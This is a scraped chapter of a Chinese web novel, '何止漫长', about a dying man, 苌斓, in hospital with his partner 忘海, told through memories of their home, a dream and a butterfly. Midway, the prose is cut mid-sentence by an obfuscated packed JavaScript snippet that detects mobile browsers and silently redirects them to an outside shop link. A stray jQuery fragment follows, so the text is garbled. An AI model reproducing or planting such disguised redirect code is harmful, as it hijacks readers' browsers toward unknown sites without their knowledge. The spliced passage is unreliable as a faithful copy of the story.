文趣网 > 都市小说 > 何止漫长 > 79. 哭
    护士把呼吸机的参数调高之后,苌斓的呼吸平稳了一些。他闭着眼睛,睫毛在面罩后面轻轻颤动,像两只飞累了暂时停在花瓣上的蝴蝶。忘海坐在床边的椅子上,手里握着苌斓没织完的那条围巾。毛线针还插在最后一行的针脚里,两根针交叉着,像一只停在半空中的蝴蝶。他低头看着那排歪歪扭扭的针脚——有几行织得太紧,边缘卷起来;有几行漏了针,留下一个个小小的空洞。他想起苌斓织这几针的时候靠在床头,把围巾举到灯光下,说又漏了两针,等以后拆了重织。他说“以后”的时候语气很平常,和说明天早上要磨豆浆一样平常。

    几天后苌斓的病情短暂地好转了一些。呼吸机撤了,他能自己靠在床头,用吸管小口小口地喝忘海煮的梨汤。那天下午阳光很好,他说想坐起来看看窗外。忘海把病床摇起来,又在他身后垫了一个枕头。苌斓侧头看着窗外,梧桐树的叶子比上周又大了不少,新绿变成了深绿,阳光从叶子的缝隙间漏下来,落在窗台上,落在他摊开的掌心上。他说梧桐树长得真好,住院的时候枝丫还是光秃秃的,现在叶子都这么大了。忘海顺着他的目光看了一眼窗外,说今年雨水多,叶子比往年更绿。苌斓说,等叶子黄的时候,他想去公园踩落叶,像前年那样,把忘海整个人埋进落叶堆里,忘海的眼镜歪到一边,脸上全是泥土和草屑。忘海说,他还会在落叶堆里打滚,滚完之后苌斓帮他摘头发上的碎叶子,说他像一棵秋天的树。苌斓极轻极淡地弯了一下嘴角,说今年秋天还去,还把他埋进落叶堆里,还要帮他摘头发上的碎叶子。

    可是好转只持续了短短几天。那天夜里苌斓又开始剧烈地咳嗽,咳出来的血不再是血丝,而是一小口一小口的暗红色血块。氧气面罩重新扣回他脸上,呼吸机的参数再次调高。他昏睡了一整天,醒来时窗外正下着雨。雨点打在梧桐叶上,沙沙地响,和豆浆机磨豆子的声音一模一样。

    苌斓靠在床头,侧头看着窗外的雨。过了很久,他忽然说想回家看看。不是回医院这个家,是回他和忘海的家——茶几上紫砂杯安静地立在杯垫上,保温杯并排放在一起,针线盒开着盖子露出那团灰色毛线,阳台上薄荷又长高了一截。他说他知道自己回不去了,医生说左肺的感染在扩散,呼吸机的参数一天比一天高,也许再过几天连话都说不了。他想趁现在还能说话,想跟忘海说说那个家——说玄关的鞋柜上放着两双拖鞋,一双是他的,一双是忘海的;说冰箱上还贴着父亲写的饺子配方,便签边缘卷起来了,但字迹还很清晰;说阳台上的薄荷该浇水了,他不在的时候忘海有没有记得浇。忘海低下头,把苌斓的手轻轻握住,说薄荷浇了,今早浇的,叶子绿油油的。饺子配方还在冰箱上贴着,便签边缘卷起来了,他用透明胶带粘好了。玄关的拖鞋他每天都摆整齐,左是他的,右是自己的。

    苌斓沉默了一会儿,然后把忘海的手翻过来,摊开他的掌心,用手指在上面一笔一划地写:“想回家。”忘海把苌斓的手指轻轻合拢,说他知道。等左肺的感染控制住,等呼吸机能撤下来,等他能坐起来了,就带他回家。回家磨豆浆,红枣八颗,豆浆机还是以前那个,杯盖磕坏了一角,但还能用。回家包饺子,芹菜馅的,每一个捏十二个褶子,和以前一样。

    苌斓又在忘海掌心里写:“不化疗了。”忘海把他的手轻轻握住,说好,不化疗了。

    那天傍晚,苌斓靠在忘海肩上,看着窗外梧桐树的叶子被风吹得轻轻晃动。他说他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724435|208790||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    刚才做了一个梦,梦见自己走在一条很长很长的路上,路两边种满了梧桐树,阳光从叶子的缝隙间漏下来,在地上铺了一层碎金。他走得很慢,但每一步都很稳。路的尽头有一扇门,门是开着的,里面传来豆浆机的嗡鸣声。他知道那是忘海在磨豆浆,红枣八颗,磨了三遍。他想推开门,但手还没碰到门把手,就醒了。忘海低下头,把下巴抵在苌斓光溜溜的头顶上。他说,那扇门不会关的。等苌斓走完这条路,推开门,他就在门里面,豆浆磨好了,围巾织完了,保温杯放在茶几上,和紫砂杯并排。

    苌斓没有说话,只是把手放在忘海膝盖上,轻轻握住。窗外雨停了,梧桐树的叶子上还挂着水珠,在夕阳下闪着细碎的光。窗台上有一只不知什么时候飞进来的蝴蝶,翅膀是灰白色的,停在苌斓喝完的空杯子上。忘海指着那只蝴蝶让苌斓看,苌斓侧过头,看着那只灰白色的蝴蝶慢慢扇动翅膀。他说像小灰的毛色。忘海说,小灰以前也喜欢趴在窗台上,每次他一喝梨汤,小灰就会凑过来闻杯子。苌斓看着那只蝴蝶从杯子上飞到窗台上,又从窗台上飞到梧桐树的枝丫之间,在夕阳里越飞越远,最后消失在梧桐树的叶子深处。

    又过了一天,苌斓在忘海掌心里写:“如果死了,会变成什么。”忘海看着自己的掌心,那里有苌斓一笔一划写下的问题,笔画很轻,但每一个字都很认真。他说,会变成风,会变成雨,会变成梧桐树新发的嫩芽,会变成停在空杯子上的蝴蝶。苌斓又写:“那你呢。”忘海说,他会变成另一只蝴蝶,和他一起飞。飞过梧桐树,飞过玉兰花,飞过所有的春天。苌斓的睫毛轻轻弯了一下,在他掌心里写:“傻。”忘海把这个字收拢在掌心里,像收拢一颗快要融化的糖。